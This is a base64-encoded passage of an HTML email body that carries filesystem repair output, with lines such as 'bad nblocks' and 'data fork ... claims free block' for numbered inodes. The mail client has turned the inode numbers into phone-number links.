PSJ0ZWw6MTM0NTc3OTU4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xMzQ1Nzc5NTgwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwMjkgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY3ODM0MDMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY3ODM0MDM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byAzMDQzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyA5MjcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODM0OTMiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODM0OTM8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA5 MjY8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDk3 NyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MzU1MyI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MzU1MzwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDk3MTwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2Nzg2Mzk2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2Nzg2Mzk2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6ODQzMDU3MiI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT44NDMwNTcyPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tz IDYwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg2Mzk2Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg2Mzk2PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjU8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250Pjxh IGhyZWY9InRlbDoxNjc4NjQxNiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjc4NjQxNjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkyODg3NzQi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTI4ODc3NDwv dT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODY0MTYiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODY0MTY8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDo5Mjg4Nzc1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjkyODg3NzU8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgNzE5IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg2 NDE2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg2 NDE2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gNzIxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZv cmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODY4MDMiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODY4MDM8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250Pjxh IGhyZWY9InRlbDo5MzA3MDkwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjkzMDcwOTA8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg2ODAzIj48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg2ODAzPC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVl IGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMwNzA5MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzA3MDkxPC91PjwvZm9udD48L2E+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDU2IGZvciBpbm9kZSA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE2Nzg2ODAzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE2Nzg2ODAzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDUzNiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDox Njc4NzAxMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x Njc4NzAxMDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxk IHJlc2V0IHRvIDUzNTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0 YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzkyMDI2Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzkyMDI2PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9u dD48YSBocmVmPSJ0ZWw6OTMxMjc1OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT45MzEyNzU4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjc5MjAy NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc5MjAy NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMg ZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTI3NTkiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxMjc1OTwvdT48L2ZvbnQ+PC9hPjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDEgZm9yIGlub2RlIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY3OTIwMjYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY3OTIwMjY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwNTkgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY3OTIwNTciPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY3OTIwNTc8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byAzMDQ1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmV4dGVudHMgNTgwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzky MDU3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzky MDU3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gNTc5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZv cmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3OTI4MjciPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3OTI4Mjc8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250Pjxh IGhyZWY9InRlbDo5MzE3OTg3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjkzMTc5ODc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzkyODI3Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzkyODI3PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVl IGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNzk4OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE3OTg4PC91PjwvZm9udD48L2E+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDg4IGZvciBpbm9kZSA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE2NzkyODI3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE2NzkyODI3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTc8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjc5NzMwOSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc5NzMwOTwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJl ZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTY2MzkiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNjYzOTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY3OTczMDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY3OTczMDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE2NjQwIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTY2NDA8L3U+PC9m b250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTEx NSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc5NzMwOSI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc5NzMwOTwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDExMjE8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250Pjxh IGhyZWY9InRlbDoxNjc5NzM2OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjc5NzM2OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUxODc3ODUi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTE4Nzc4NTwv dT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3OTczNjkiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3OTczNjk8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDo1MTg3Nzg2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjUxODc3ODY8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODAxMzYzIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODAxMzYzPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NTE5NTQxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT41MTk1NDEzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRl bDoxNjgwMTM2MyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjgwMTM2MzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUxOTU0MTQiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTE5NTQxNDwvdT48L2ZvbnQ+ PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY4MDUxNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY4MDUxNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDox Njg1Nzg1NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x Njg1Nzg1NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAzMDcyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODA1MjM1Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODA1MjM1PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g MzA3MTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODA2MjQyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODA2MjQyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm PSJ0ZWw6OTMxODc3MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT45MzE4NzcxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgwNjI0MiI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgwNjI0MjwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTg3NzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxODc3MjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDQ4IGZvciBpbm9kZSA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2ODA2MjQyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2ODA2MjQyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiwgd291bGQgcmVzZXQgdG8gMzA1ODwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmFkIG5ibG9ja3MgMTM1NSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDox NjgwOTg0MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x NjgwOTg0MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxk IHJlc2V0IHRvIDEzNTQ8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJh ZCBuYmxvY2tzIDI0NjcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MTI2OTciPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MTI2OTc8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAy NDY2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4g aW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MTgyNTkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MTgyNTk8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9 InRlbDo5MzA1Nzk3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjkzMDU3OTc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODE4MjU5Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODE4MjU5PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2Nr IDwvZm9udD48YSBocmVmPSJ0ZWw6OTMwNTc5OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT45MzA1Nzk4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDox NjgyNDI2OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x NjgyNDI2OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtj bGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTkyNzgiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxOTI3ODwvdT48L2ZvbnQ+PC9h Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA3NjcgZm9yIGlu b2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MjQyNjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MjQyNjk8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA3Njk8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI3NSBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjgyNjEyMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjgyNjEyMDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI3NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmFkIG5leHRlbnRzIDk1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 ODI2MTIwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 ODI2MTIwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gOTQ8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEg Zm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgyNjIxMyI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgyNjIxMzwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjI3MjYwODI0NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4yNzI2MDgyNDY8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI4 NDcwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI4 NDcwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWlt cyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNjc2NyI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE2NzY3PC91PjwvZm9udD48L2E+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250Pjxh IGhyZWY9InRlbDoxNjgyODQ3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjgyODQ3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTY3Njgi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNjc2ODwv dT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2Nr cyAzMDY5IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI4NDcwIj48Zm9udCBzaXpl 